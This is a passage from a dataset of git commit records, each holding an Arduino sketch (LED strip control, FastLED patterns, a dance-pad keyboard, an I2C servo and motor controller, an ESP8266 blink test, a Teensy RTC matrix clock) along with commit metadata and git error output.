stbdIEA.setPixelColor(5, stbdIEA.Color(0,0,111));\n stbdIEA.show();\n }\n \n if(V3A < 151.5)\n {\n stbdIEA.setPixelColor(6, stbdIEA.Color(111,0,0));\n stbdIEA.setPixelColor(7, stbdIEA.Color(111,0,0));\n stbdIEA.setPixelColor(8, stbdIEA.Color(111,0,0));\n stbdIEA.setPixelColor(9, stbdIEA.Color(111,0,0));\n stbdIEA.setPixelColor(10, stbdIEA.Color(111,0,0));\n stbdIEA.setPixelColor(11, stbdIEA.Color(111,0,0));\n stbdIEA.show();\n }\n else if(V3A > 160)\n {\n stbdIEA.setPixelColor(6, stbdIEA.Color(111,111,111));\n stbdIEA.setPixelColor(7, stbdIEA.Color(111,111,111));\n stbdIEA.setPixelColor(8, stbdIEA.Color(111,111,111));\n stbdIEA.setPixelColor(9, stbdIEA.Color(111,111,111));\n stbdIEA.setPixelColor(10, stbdIEA.Color(111,111,111));\n stbdIEA.setPixelColor(11, stbdIEA.Color(111,111,111));\n stbdIEA.show();\n }\n else\n {\n stbdIEA.setPixelColor(6, stbdIEA.Color(0,0,111));\n stbdIEA.setPixelColor(7, stbdIEA.Color(0,0,111));\n stbdIEA.setPixelColor(8, stbdIEA.Color(0,0,111));\n stbdIEA.setPixelColor(9, stbdIEA.Color(0,0,111));\n stbdIEA.setPixelColor(10, stbdIEA.Color(0,0,111));\n stbdIEA.setPixelColor(11, stbdIEA.Color(0,0,111));\n stbdIEA.show();\n }\n\n if(V3B < 151.5)\n {\n stbdIEA.setPixelColor(12, stbdIEA.Color(111,0,0));\n stbdIEA.setPixelColor(13, stbdIEA.Color(111,0,0));\n stbdIEA.setPixelColor(14, stbdIEA.Color(111,0,0));\n stbdIEA.setPixelColor(15, stbdIEA.Color(111,0,0));\n stbdIEA.setPixelColor(16, stbdIEA.Color(111,0,0));\n stbdIEA.setPixelColor(17, stbdIEA.Color(111,0,0));\n stbdIEA.show();\n }\n else if(V3B > 160)\n {\n stbdIEA.setPixelColor(12, stbdIEA.Color(111,111,111));\n stbdIEA.setPixelColor(13, stbdIEA.Color(111,111,111));\n stbdIEA.setPixelColor(14, stbdIEA.Color(111,111,111));\n stbdIEA.setPixelColor(15, stbdIEA.Color(111,111,111));\n stbdIEA.setPixelColor(16, stbdIEA.Color(111,111,111));\n stbdIEA.setPixelColor(17, stbdIEA.Color(111,111,111));\n stbdIEA.show();\n }\n else\n {\n stbdIEA.setPixelColor(12, stbdIEA.Color(0,0,111));\n stbdIEA.setPixelColor(13, stbdIEA.Color(0,0,111));\n stbdIEA.setPixelColor(14, stbdIEA.Color(0,0,111));\n stbdIEA.setPixelColor(15, stbdIEA.Color(0,0,111));\n stbdIEA.setPixelColor(16, stbdIEA.Color(0,0,111));\n stbdIEA.setPixelColor(17, stbdIEA.Color(0,0,111));\n stbdIEA.show();\n }\n\n if(V1B < 151.5)\n {\n stbdIEA.setPixelColor(18, stbdIEA.Color(111,0,0));\n stbdIEA.setPixelColor(19, stbdIEA.Color(111,0,0));\n stbdIEA.setPixelColor(20, stbdIEA.Color(111,0,0));\n stbdIEA.setPixelColor(21, stbdIEA.Color(111,0,0));\n stbdIEA.setPixelColor(22, stbdIEA.Color(111,0,0));\n stbdIEA.setPixelColor(23, stbdIEA.Color(111,0,0));\n stbdIEA.show();\n }\n else if(V1B > 160)\n {\n stbdIEA.setPixelColor(18, stbdIEA.Color(111,111,111));\n stbdIEA.setPixelColor(19, stbdIEA.Color(111,111,111));\n stbdIEA.setPixelColor(20, stbdIEA.Color(111,111,111));\n stbdIEA.setPixelColor(21, stbdIEA.Color(111,111,111));\n stbdIEA.setPixelColor(22, stbdIEA.Color(111,111,111));\n stbdIEA.setPixelColor(23, stbdIEA.Color(111,111,111));\n stbdIEA.show();\n }\n else\n {\n stbdIEA.setPixelColor(18, stbdIEA.Color(0,0,111));\n stbdIEA.setPixelColor(19, stbdIEA.Color(0,0,111));\n stbdIEA.setPixelColor(20, stbdIEA.Color(0,0,111));\n stbdIEA.setPixelColor(21, stbdIEA.Color(0,0,111));\n stbdIEA.setPixelColor(22, stbdIEA.Color(0,0,111));\n stbdIEA.setPixelColor(23, stbdIEA.Color(0,0,111));\n stbdIEA.show();\n }\n if(Disco)\n {\n theaterChaseRainbow_portIEA(50);\n theaterChaseRainbow_stbdIEA(50);\n }\n Disco = false;\n}\nvoid checkSerial()\n{\n digitalWrite(ledBluePin, HIGH);\n test = \"\";\n \n while(Serial.available() > 0) \n {\n test = Serial.readStringUntil('\\n');\n \/\/test = Serial.readString();\n }\n\/\/ Serial1.println(test);\n \n char sz[test.length() + 1];\n char copy[test.length() + 1];\n strcpy(sz, test.c_str()); \n char *p = sz;\n char *str;\n int delimeter = 0;\n String test2 = \"\"; \n \n while((str = strtok_r(p,\" \",&p))!=NULL)\n {\n test2 = String(str);\n delimeter = test2.indexOf('=');\n if(test2.substring(0,delimeter)==\"Disco\")\n {\n Disco = true; \n }\n else if (test2.substring(0, delimeter) == \"NULLIFY\")\n {\n NULLIFY = int((test2.substring(delimeter + 1)).toFloat());\n Serial.println(\" Got the NULL cmd over Serial...\");\n }\n if(test2.substring(0,delimeter)==\"Voltage2A\")\n {\n V2A = (test2.substring(delimeter+1)).toFloat();\n }\n else if(test2.substring(0,delimeter)==\"Voltage2B\")\n {\n V2B = (test2.substring(delimeter+1)).toFloat();\n }\n else if(test2.substring(0,delimeter)==\"Voltage4A\")\n {\n V4A = (test2.substring(delimeter+1)).toFloat();\n }\n else if(test2.substring(0,delimeter)==\"Voltage4B\")\n {\n V4B = (test2.substring(delimeter+1)).toFloat();\n }\n else if(test2.substring(0,delimeter)==\"Voltage1A\")\n {\n V1A = (test2.substring(delimeter+1)).toFloat();\n }\n else if(test2.substring(0,delimeter)==\"Voltage1B\")\n {\n V1B = (test2.substring(delimeter+1)).toFloat();\n }\n else if(test2.substring(0,delimeter)==\"Voltage3A\")\n {\n V3A = (test2.substring(delimeter+1)).toFloat();\n }\n else if(test2.substring(0,delimeter)==\"Voltage3B\")\n {\n V3B = (test2.substring(delimeter+1)).toFloat();\n }\n \/\/module Selection\n else if(test2.substring(0,delimeter)==\"Module\")\n {\n \/\/Serial1.println(\"----Module!------\");\n module = (test2.substring(delimeter+1));\n }\n }\n\/\/ Serial1.println();\n}\n\n\/\/module led functions\nvoid allSet_module(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<moduleLED.numPixels(); i++) \n {\n moduleLED.setPixelColor(i, c);\n moduleLED.show();\n delay(wait);\n }\n}\nvoid theaterChaseRainbow_Module(uint8_t wait) {\n for (int j=0; j < 256; j++) { \/\/ cycle all 256 colors in the wheel\n for (int q=0; q < 3; q++) {\n for (uint16_t i=0; i < moduleLED.numPixels(); i=i+3) {\n moduleLED.setPixelColor(i+q, Wheel_Module( (i+j) % 111)); \/\/turn every third pixel on\n }\n moduleLED.show();\n\n delay(wait);\n\n for (uint16_t i=0; i < moduleLED.numPixels(); i=i+3) {\n moduleLED.setPixelColor(i+q, 0); \/\/turn every third pixel off\n }\n }\n }\n}\n\n\/\/ Input a value 0 to 111 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel_Module(byte WheelPos) {\n WheelPos = 111 - WheelPos;\n if(WheelPos < 85) {\n return moduleLED.Color(111 - WheelPos * 3, 0, WheelPos * 3);\n }\n if(WheelPos < 170) {\n WheelPos -= 85;\n return moduleLED.Color(0, WheelPos * 3, 111 - WheelPos * 3);\n }\n WheelPos -= 170;\n return moduleLED.Color(WheelPos * 3, 111 - WheelPos * 3, 0);\n}\n\n\/\/port IEA led functions\nvoid allSet_portIEA(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<portIEA.numPixels(); i++) \n {\n portIEA.setPixelColor(i, c);\n portIEA.show();\n delay(wait);\n }\n}\n\nvoid theaterChaseRainbow_portIEA(uint8_t wait) {\n for (int j=0; j < 256; j++) { \/\/ cycle all 256 colors in the wheel\n for (int q=0; q < 3; q++) {\n for (uint16_t i=0; i < portIEA.numPixels(); i=i+3) {\n portIEA.setPixelColor(i+q, Wheel_portIEA( (i+j) % 111)); \/\/turn every third pixel on\n }\n portIEA.show();\n\n delay(wait);\n\n for (uint16_t i=0; i < portIEA.numPixels(); i=i+3) {\n portIEA.setPixelColor(i+q, 0); \/\/turn every third pixel off\n }\n }\n }\n}\n\n\/\/ Input a value 0 to 111 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel_portIEA(byte WheelPos) {\n WheelPos = 111 - WheelPos;\n if(WheelPos < 85) {\n return portIEA.Color(111 - WheelPos * 3, 0, WheelPos * 3);\n }\n if(WheelPos < 170) {\n WheelPos -= 85;\n return portIEA.Color(0, WheelPos * 3, 111 - WheelPos * 3);\n }\n WheelPos -= 170;\n return portIEA.Color(WheelPos * 3, 111 - WheelPos * 3, 0);\n}\n\n\n\/\/stbd IEA led functions\nvoid allSet_stbdIEA(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<stbdIEA.numPixels(); i++) \n {\n stbdIEA.setPixelColor(i, c);\n stbdIEA.show();\n delay(wait);\n }\n}\n\nvoid theaterChaseRainbow_stbdIEA(uint8_t wait) {\n for (int j=0; j < 256; j++) { \/\/ cycle all 256 colors in the wheel\n for (int q=0; q < 3; q++) {\n for (uint16_t i=0; i < stbdIEA.numPixels(); i=i+3) {\n stbdIEA.setPixelColor(i+q, Wheel_stbdIEA( (i+j) % 111)); \/\/turn every third pixel on\n }\n stbdIEA.show();\n\n delay(wait);\n\n for (uint16_t i=0; i < stbdIEA.numPixels(); i=i+3) {\n stbdIEA.setPixelColor(i+q, 0); \/\/turn every third pixel off\n }\n }\n }\n}\n\n\/\/ Input a value 0 to 111 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel_stbdIEA(byte WheelPos) {\n WheelPos = 111 - WheelPos;\n if(WheelPos < 85) {\n return stbdIEA.Color(111 - WheelPos * 3, 0, WheelPos * 3);\n }\n if(WheelPos < 170) {\n WheelPos -= 85;\n return stbdIEA.Color(0, WheelPos * 3, 111 - WheelPos * 3);\n }\n WheelPos -= 170;\n return stbdIEA.Color(WheelPos * 3, 111 - WheelPos * 3, 0);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Mimic_LED_Controller_reduced_brightness\/Mimic_LED_Controller_reduced_brightness.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e7592c22271f7ccec7d1ef9686e6b90acb39cce5","subject":"Create memmove8_pattern_mirrored.ino","message":"Create memmove8_pattern_mirrored.ino","repos":"marmilicious\/FastLED_examples","old_file":"memmove8_pattern_mirrored.ino","new_file":"memmove8_pattern_mirrored.ino","new_contents":"\/\/***************************************************************\n\/\/ Messing around based on someone's question about reversing\n\/\/ the order of a range of pixels.\n\/\/ Builds on my memmove8_pattern_copy.ino example. Please see\n\/\/ that sketch for more info and comments.\n\/\/\n\/\/ Marc Miller, April 2020\n\/\/***************************************************************\n\n\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define COLOR_ORDER GRB\n#define BRIGHTNESS 100\n#define NUM_LEDS 32\nCRGB leds[NUM_LEDS];\n\nconst uint8_t patternMinLength = 3;\nconst uint8_t patternMaxLength = 12;\nCRGB mirroredLeds[patternMaxLength];\n\nuint8_t hue;\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(2000); \/\/ Startup delay\n FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS);\n FastLED.setBrightness(BRIGHTNESS);\n FastLED.clear();\n FastLED.show();\n Serial.println(\"Setup done. \\n\");\n}\n\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n\n repeatingPatternMirrored();\n FastLED.show();\n \n}\/\/end_main_loop\n\n\n\/\/---------------------------------------------------------------\nvoid repeatingPatternMirrored() {\n static uint8_t patternLength = 4; \/\/ This changes [random number between pattern Min and Max length]\n static uint8_t pRepeat = NUM_LEDS \/ patternLength;\n static uint8_t pDiff = NUM_LEDS % patternLength;\n\n EVERY_N_SECONDS(10) {\n random16_add_entropy(random16() + analogRead(A0));\n patternLength = random8(patternMinLength,patternMaxLength+1);\n pRepeat = NUM_LEDS \/ patternLength;\n pDiff = NUM_LEDS % patternLength;\n Serial.print(\"patternLength: \"); Serial.println(patternLength);\n hue = hue + random8(100,160);\n }\n\n fill_rainbow( leds, patternLength, hue + (millis()\/40), 10 );\n leds[0] += CHSV(hue+128,255,190); \/\/ optional visual to help see repeat of pattern\n memmove8( &mirroredLeds[0], &leds[0], (patternLength)*sizeof(CRGB) ); \/\/ copy pattern to mirroredLeds array\n\n \/\/ mirror pixels in CRGB mirroredLeds array\n for (uint8_t i=0; i<patternLength\/2; i++) {\n CRGB temp = mirroredLeds[i];\n mirroredLeds[i] = mirroredLeds[patternLength-1-i];\n mirroredLeds[patternLength-1-i] = temp;\n }\n \n for (uint8_t i=0; i < pRepeat; i++) {\n if ( mod8(i,2) == 0) {\n memmove8( &leds[i*patternLength], &leds[0], (patternLength)*sizeof(CRGB) );\n } else {\n memmove8( &leds[i*patternLength], &mirroredLeds[0], (patternLength)*sizeof(CRGB) );\n }\n }\n\n if (pDiff != 0) { \/\/ copy the remaining pixels\n if ( mod8(pRepeat,2) == 0) {\n memmove8( &leds[NUM_LEDS - pDiff], &leds[0], (pDiff)*sizeof(CRGB) );\n } else {\n memmove8( &leds[NUM_LEDS - pDiff], &mirroredLeds[0], (pDiff)*sizeof(CRGB) );\n }\n }\n\n}\/\/end_CopyPixels\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'memmove8_pattern_mirrored.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c7dd1e4337c46c338f55c88eb7ba67a3a98b9ca0","subject":"Create Pad_A_Piano.ino","message":"Create Pad_A_Piano.ino","repos":"Pocketart\/typhoonclawvex,Pocketart\/typhoonclawvex,Pocketart\/typhoonclawvex,Pocketart\/typhoonclawvex,Pocketart\/typhoonclawvex,Pocketart\/typhoonclawvex,Pocketart\/typhoonclawvex,Pocketart\/typhoonclawvex,Pocketart\/typhoonclawvex,Pocketart\/typhoonclawvex","old_file":"Musical_Instruments_2017_2018\/Dance_Pads\/Pad_A_Piano.ino","new_file":"Musical_Instruments_2017_2018\/Dance_Pads\/Pad_A_Piano.ino","new_contents":"#include <Math.h>\n#include <Keyboard.h>\n#include <MIDI.h>\n\n\/\/ Set up variables for dance pad input\nint bass= 2; \nint hHat = 3;\nint hTom = 4;\nint mTom = 5;\nint ride = 6;\nint snare = 7;\nint lTom = 8;\nint crash = 9;\n\n\/\/ Set up default variables for input status\nint valBass = 0;\nint valhHat = 0;\nint valhTom = 0;\nint valmTom = 0;\nint valRide = 0;\nint valSnare = 0;\nint vallTom = 0;\nint valCrash = 0;\n\n\/\/ variable to store the value read\n \nvoid setup()\n{\n Serial.begin(9600);\n pinMode(bass, INPUT); \n pinMode(hHat, INPUT);\n pinMode(hTom, INPUT);\n pinMode(mTom, INPUT);\n pinMode(ride, INPUT);\n pinMode(snare, INPUT);\n pinMode(lTom, INPUT);\n pinMode(crash, INPUT);\n \n \/\/ setup serial\n}\n\nvoid loop()\n{\n valBass = digitalRead(bass);\/\/ read the input pin\n valRide = digitalRead(hHat);\/\/ read the input pin\n valCrash = digitalRead(hTom);\/\/ read the input pin\n valmTom = digitalRead(mTom);\/\/ read the input pin\n vallTom = digitalRead(ride);\/\/ read the input pin\n valhHat = digitalRead(snare);\/\/ read the input pin\n valSnare = digitalRead(lTom);\/\/ read the input pin\n valhTom = digitalRead(crash);\/\/ read the input pin\n\n if (valBass == 1)\/\/bt5\n {\n Keyboard.press('g');\n }\n else{\n Keyboard.release('g');\n }\n \n if (valhHat == 1)\/\/bt4\n {\n Keyboard.press('f');\n }\n else{\n Keyboard.release('f');\n }\n \n if (valhTom == 1)\/\/bt8\n {\n Keyboard.press('k');\n }\n else{\n Keyboard.release('k');\n }\n if (valmTom == 1)\/\/bt7\n {\n Keyboard.press('j');\n }\n else{\n Keyboard.release('j');d\n }\n \n if (valRide == 1)\/\/bt3\n {\n Keyboard.press('d');\n }\n else{\n Keyboard.release('d');\n }\n \n if (valSnare == 1)\/\/bt1\n {\n Keyboard.press('a');\n }\n else{\n Keyboard.release('a');\n }\n \n if (vallTom == 1)\/\/bt6\n {\n Keyboard.press('h');\n }\n else{\n Keyboard.release('h');\n }\n \n if (valCrash == 1)\/\/bt2\n {\n Keyboard.press('s');\n }\n else{\n Keyboard.release('s');\n }\n \n delay(100);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Musical_Instruments_2017_2018\/Dance_Pads\/Pad_A_Piano.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cfa53299714bce2242faca2fe12962a253452316","subject":"Apparently Adruino files need a folder. Make a Dobin folder.","message":"Apparently Adruino files need a folder. Make a Dobin folder.\n","repos":"StaziaTronboll\/Grand-PriIEEE-STOOPS,StaziaTronboll\/Grand-PriIEEE-STOOPS","old_file":"Code\/Dobin\/Dobin.ino","new_file":"Code\/Dobin\/Dobin.ino","new_contents":"#include <Wire.h>\n#include <Servo.h>\n \n#define SLAVE_ADDRESS 0x04 \/\/ Discover real\n\nServo servo;\nbyte values[2] = {0,0};\nbyte servoPin = 9;\nbyte motorPin = 11;\nint motorlevel = 1;\n\n\n\/\/MOTOR code\n#define pwmA 3\nbyte spd = 0;\n long elapsed = 0;\n \nvoid setup() {\n \n Serial.begin(9600);\n servo.attach(servoPin);\n servo.write(90);\n pinMode(motorPin, OUTPUT);\n \n \/\/ initialize i2c as slave\n Wire.begin(SLAVE_ADDRESS);\n \n \/\/ define callbacks for i2c communication\n Wire.onReceive(receiveData);\n Wire.onRequest(sendData);\n analogWrite(pwmA,spd = 0);\n delay(3000);\n analogWrite(pwmA, spd = 255);\n\n}\n\nvoid loop() {\n elapsed = millis();\n\/\/ Serial.pri\n Serial.println(spd);\n if (elapsed > 5000) {\n spd = 0;\n analogWrite(pwmA, spd = 0);\n }\n}\n\n\/\/ callback for received data\nvoid receiveData(int byteCount){\n \n if (Wire.available() ) {\n values[0] = Wire.read();\n values[1] = 191;\n Serial.println(values[0]);\n Serial.println(values[1]);\n\n servo.write(values[0]);\n analogWrite(motorPin, values[1]);\n }\n}\n \n\/\/ callback for sending data\nvoid sendData(){\n \/\/ Kill switch interrupt stuff\n \/\/ if interrupt: Wire.write(1);\n \/\/ else: Wire.write(0);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Code\/Dobin\/Dobin.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"092f4b20d04084b64d408cefb92f4b57e94f2009","subject":"Avoid heap allocations for some global objects.","message":"Avoid heap allocations for some global objects.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2a7dab660d5f756d9b04040dde7b4efcc7c4234c","subject":"First version","message":"First version\n","repos":"lupyuen\/ESP8266Client","old_file":"ESP8266Client.ino","new_file":"ESP8266Client.ino","new_contents":"\/\/ This is the client code for ESP8266 Arduino Shield by http:\/\/www.doit.am\/\n\/\/ Set the ESP8266 as STA mode, Socket Type=Client, Transport Type=UDP, Remote IP=(this PC), Remote Port=9000\n\/\/ Switch \u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000the dual-port switch to OFF, upload the sketch, then switch to ON.\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n \/\/ initialize digital pin 13 as an output.\n pinMode(13, OUTPUT);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n delay(1000); \/\/ wait for a second\n Serial.println(\"hello this is ESP8266Client\");\n digitalWrite(13, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(1000); \/\/ wait for a second\n digitalWrite(13, LOW); \/\/ turn the LED off by making the voltage LOW\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266Client.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"9f54942c5c01a80a6ea07bf7d8cdfe336dca1751","subject":"Clock example that used internal RTC of a Teensy 3.0 or Teensy 3.1","message":"Clock example that used internal RTC of a Teensy 3.0 or Teensy 3.1\n","repos":"mrwastl\/SmartMatrix,mrwastl\/SmartMatrix","old_file":"examples\/MatrixClock3\/MatrixClock3.ino","new_file":"examples\/MatrixClock3\/MatrixClock3.ino","new_contents":"\/*\n * This clock example uses the RTC from a Teensy3 (Teensy 3.0 or 3.1).\n *\n * RTC clock is set in response to serial port time message \n * A Processing example sketch to set the time is included in the download\n * On Linux, you can use \"date +T%s > \/dev\/ttyUSB0\" (UTC time zone)\n * \n * Or, if a time zone is to be set (and setting TZ doesn't do the trick):\n *\n * Example: UTC+2\n * date -d \"+2 hours\" +T%s > \/dev\/ttyUSB0\n *\n * Time code is taken from example TimeTeensy3.ino.\n *\n * SmartMatrix Features Demo - Wolfgang Astleitner mrwastl@users.sf.net\n * This example code is released into the public domain\n *\/\n\n#include <Time.h>\n#include <SmartMatrix.h>\n\n\/\/#define DEBUG_SERIAL\n\nrgb24 bgCol = {0x00, 0x00, 0x00}; \/\/ background colour\n\nrgb24 timeCol = {0x2f, 0x2f, 0xff}; \/\/ time: segment colour\nrgb24 timeColFx = {0x00, 0x00, 0x1f}; \/\/ time: colour of 'non active segment' effect\nrgb24 dateCol = {0x00, 0x00, 0x9f}; \/\/ date: segment colour\nrgb24 dateColFx = {0x00, 0x00, 0x15}; \/\/ date: colour of 'non active segment' effect\n\n\/\/ values for a 96x64 display; need to be adjusted for other resolutions\nint timeSegT = 4; \/\/ time: thickness of a segment (in pixel)\nint timeSegW = 17; \/\/ time: length of a single segment (in pixel)\nint dateSegT = 2; \/\/ date: thickness of a segment\nint dateSegW = 7; \/\/ date: length of a single segment\n\nconst int showSecs = 2; \/\/ display seconds: 0: no, 1: yes, 2: no seconds, but blinking dots\nconst int showYear = 0; \/\/ show year: 0 no, 1: yes\n\n\n\nSmartMatrix matrix;\n\nconst int timeSegH = timeSegW * 2 - timeSegT;\nconst int dateSegH = dateSegW * 2 - dateSegT;\n\nbyte currSec = 60;\n\n\nvoid setup() {\n \/\/ set the Time library to use Teensy 3.x's RTC to keep time\n setSyncProvider(getTeensy3Time);\n \n Serial.begin(9600);\n delay(200);\n if (timeStatus()!= timeSet) {\n Serial.println(\"Unable to sync with the RTC\");\n } else {\n Serial.println(\"RTC has set the system time\");\n }\n\n \/\/ setup matrix\n matrix.begin();\n}\n\nvoid loop() {\n time_t t = processSyncMessage();\n if (t != 0) {\n Teensy3Clock.set(t); \/\/ set the RTC\n setTime(t);\n }\n \n int x;\n int y;\n \n int timeW = timeSegW * ((showSecs == 1) ? 6 : 4) + timeSegT * ( (showSecs == 1) ? 9 : 5); \/\/ calc. width of time output\n int dateW = (dateSegW + dateSegT) * ((showYear) ? 10 : 5) + dateSegT; \/\/ calc. width of date output\n \n int tSec = second();\n int tMin = minute();\n int tHour = hour();\n int tYear = year();\n int tMon = month();\n int tDay = day();\n\n\n if (tSec != currSec) {\n \/\/ clear screen before writing new text\n matrix.fillScreen(bgCol);\n\n currSec = tSec;\n\n#ifdef DEBUG_SERIAL\n Serial.print(\"Ok, Time = \");\n print2digits(tHour);\n Serial.write(':');\n print2digits(tMin);\n Serial.write(':');\n print2digits(tSec);\n Serial.print(\", Date (D\/M\/Y) = \");\n Serial.print(tDay);\n Serial.write('\/');\n Serial.print(tMon);\n Serial.write('\/');\n Serial.print(tYear);\n Serial.println();\n#endif\n\n \/\/ center time\n x = ( matrix.getScreenWidth() - timeW ) \/ 2;\n y = timeSegT;\n \n x += drawNumber(x, y, tHour, timeSegW, timeSegT, 2, timeCol, timeColFx);\n x += timeSegT;\n if (showSecs != 2 || (tSec % 2) ) {\n drawBar(x, y + (timeSegT * 2) - 1, timeSegT, timeSegT, 0, timeCol);\n drawBar(x, y + (timeSegH - (timeSegT * 2)) - 1, timeSegT, timeSegT, 0, timeCol);\n } else {\n drawBar(x, y + (timeSegT * 2) - 1, timeSegT, timeSegT, 0, timeColFx);\n drawBar(x, y + (timeSegH - (timeSegT * 2)) - 1, timeSegT, timeSegT, 0, timeColFx);\n }\n x += timeSegT * 2;\n x += drawNumber(x, y, tMin, timeSegW, timeSegT, 2, timeCol, timeColFx);\n if (showSecs == 1) {\n x += timeSegT;\n drawBar(x, y + (timeSegT * 2) - 1, timeSegT, timeSegT, 0, timeCol);\n drawBar(x, y + (timeSegH - (timeSegT * 2)) - 1, timeSegT, timeSegT, 0, timeCol);\n x += timeSegT * 2;\n x += drawNumber(x, y, tSec, timeSegW, timeSegT, 2, timeCol, timeColFx);\n }\n y += timeSegH + timeSegT;\n\n\n \/\/ center date\n x = (matrix.getScreenWidth() - dateW) \/ 2;\n y += (matrix.getScreenHeight() - y - dateSegH) \/ 2;\n\n if (showYear) { \n x += drawNumber(x, y, tYear, dateSegW, dateSegT, 4, dateCol, dateColFx);\n x += dateSegT;\n drawBar(x, y + (dateSegH \/ 2) - 1, dateSegW, dateSegT, 1, dateCol);\n x += dateSegW + dateSegT;\n x += drawNumber(x, y, tMon, dateSegW, dateSegT, 2, dateCol, dateColFx);\n x += dateSegT;\n drawBar(x, y + (dateSegH \/ 2) - 1, dateSegW, dateSegT, 1, dateCol);\n x += dateSegW + dateSegT;\n x += drawNumber(x, y, tDay, dateSegW, dateSegT, 2, dateCol, dateColFx);\n } else {\n x += drawNumber(x, y, tDay, dateSegW, dateSegT, 2, dateCol, dateColFx);\n x += dateSegT;\n drawBar(x + (dateSegW - dateSegT) \/ 2, y + dateSegH - dateSegT, dateSegT, dateSegT, 1, dateCol);\n x += dateSegW + dateSegT;\n x += drawNumber(x, y, tMon, dateSegW, dateSegT, 2, dateCol, dateColFx);\n }\n\n matrix.swapBuffers();\n } else {\n \/*delay(1000);*\/\n delay(10);\n }\n}\n\n\ntime_t getTeensy3Time() {\n return Teensy3Clock.get();\n}\n\n\n\/* code to process time sync messages from the serial port *\/\n#define TIME_HEADER \"T\" \/\/ Header tag for serial time sync message\n\nunsigned long processSyncMessage() {\n unsigned long pctime = 0L;\n const unsigned long DEFAULT_TIME = 1357041600; \/\/ Jan 1 2013 \n\n if(Serial.find(TIME_HEADER)) {\n pctime = Serial.parseInt();\n return pctime;\n if( pctime < DEFAULT_TIME) { \/\/ check the value is a valid time (greater than Jan 1 2013)\n pctime = 0L; \/\/ return 0 to indicate that the time is not valid\n }\n }\n return pctime;\n}\n\n\nvoid print2digits(int number) {\n if (number >= 0 && number < 10) {\n Serial.write('0');\n }\n Serial.print(number);\n}\n\n\n\n\/* taken from my library 'serdisplib', testserdisp,c *\/\n\nvoid drawBar(int x, int y, int w, int h, int hor, rgb24 col) {\n int i,j;\n for (j = y; j < y + ((hor)? h : w); j ++)\n for (i = x; i < x + ((hor)? w : h); i ++)\n matrix.drawPixel(i, j, col);\n}\n\n\nvoid drawDigit(int x, int y, int digit, int segwidth, int thick, rgb24 col, rgb24 colFX) {\n if (digit < 0 || digit > 9) return;\n\n \/\/ draw 'passive' 8\n drawBar(x, y, segwidth, thick, 1, colFX);\n drawBar(x, y + segwidth - thick, segwidth, thick, 1, colFX);\n drawBar(x, y + 2*(segwidth - thick), segwidth, thick, 1, colFX);\n\n drawBar(x, y, segwidth, thick, 0, colFX);\n drawBar(x + segwidth - thick, y, segwidth, thick, 0, colFX);\n drawBar(x, y + segwidth - thick, segwidth, thick, 0, colFX);\n drawBar(x + segwidth - thick, y + segwidth - thick, segwidth, thick, 0, colFX);\n\n \/\/ draw active digit\n if ( digit != 1 && digit != 4 )\n drawBar(x, y, segwidth, thick, 1, col);\n if ( digit != 1 && digit != 7 && digit != 0 )\n drawBar(x, y + segwidth - thick, segwidth, thick, 1, col);\n if ( digit != 1 && digit != 4 && digit != 7 )\n drawBar(x, y + 2*(segwidth - thick), segwidth, thick, 1, col);\n\n if ( digit != 1 && digit != 2 && digit != 3 && digit != 7 )\n drawBar(x, y, segwidth, thick, 0, col);\n if ( digit != 5 && digit != 6 )\n drawBar(x + segwidth - thick, y, segwidth, thick, 0, col);\n if ( digit == 2 || digit == 6 || digit == 8 || digit == 0 )\n drawBar(x, y + segwidth - thick, segwidth, thick, 0, col);\n if ( digit != 2 )\n drawBar(x + segwidth - thick, y + segwidth - thick, segwidth, thick, 0, col);\n}\n\n\nint drawNumber(int x, int y, int number, int segwidth, int thick, int digits, rgb24 col, rgb24 colFX) {\n int i, posx = x + (segwidth + thick ) * (digits - 1);\n\n int num = number;\n\n if (num < 0 || num > 9999) return 0;\n\n for (i = digits-1; i >= 0; i--) {\n drawDigit(posx, y, num % 10, segwidth, thick, col, colFX);\n posx -= segwidth + thick;\n num \/= 10;\n }\n 